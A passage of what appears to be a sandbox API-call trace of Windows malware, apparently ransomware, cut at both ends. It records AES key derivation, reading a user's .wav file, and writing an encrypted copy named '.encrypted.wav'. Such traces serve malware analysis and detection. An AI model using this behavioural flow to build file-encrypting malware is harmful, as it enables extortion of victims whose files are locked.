lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.623] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.623] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b000, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.623] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.623] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.624] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.624] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40625d0) returned 1 [0022.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.624] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.624] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.624] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.624] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0022.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.625] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.625] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.625] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.625] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.625] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.wav" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\o7 bldhx4t31hlq.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.626] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.626] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.626] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm")) returned 0x10 [0022.626] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\o7 bldhx4t31hlq.encrypted.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.628] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.628] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0022.630] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x69d9, lpOverlapped=0x0) returned 1 [0022.630] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.633] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.633] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.633] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.633] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.634] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.634] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.634] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.634] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.634] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.634] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.635] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.635] CryptGetKeyParam (in: hKey=0xe8f40625d0, dwParam=0x7, pbData=0xe8f4064ba0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ba0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.635] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.635] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.635] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.635] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.636] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.636] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.636] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.636] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.637] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.637] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x169d9, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x169e0) returned 1 [0022.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.637] CharLowerBuffW (in: lpsz="byte[92641]", cchLength=0xb | out: lpsz="byte[92641]") returned 0xb [0022.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.639] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.639] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.640] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.640] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f42047a0*, pdwDataLen=0xe8f3dfdf68*=0x169d9, dwBufLen=0x169e0 | out: pbData=0xe8f42047a0*, pdwDataLen=0xe8f3dfdf68*=0x169e0) returned 1 [0022.640] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.640] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.640] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.641] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.641] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.641] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.641] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.641] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.641] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.641] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.641] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.641] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.641] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.641] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.641] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.641] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.641] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.647] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.647] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.647] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.647] CryptDestroyKey (hKey=0xe8f40625d0) returned 1 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.647] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.647] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.647] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.647] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.647] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.647] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.647] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.648] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.648] PeekMessageW (in: lpMsg=0xe8f3dfeb20, 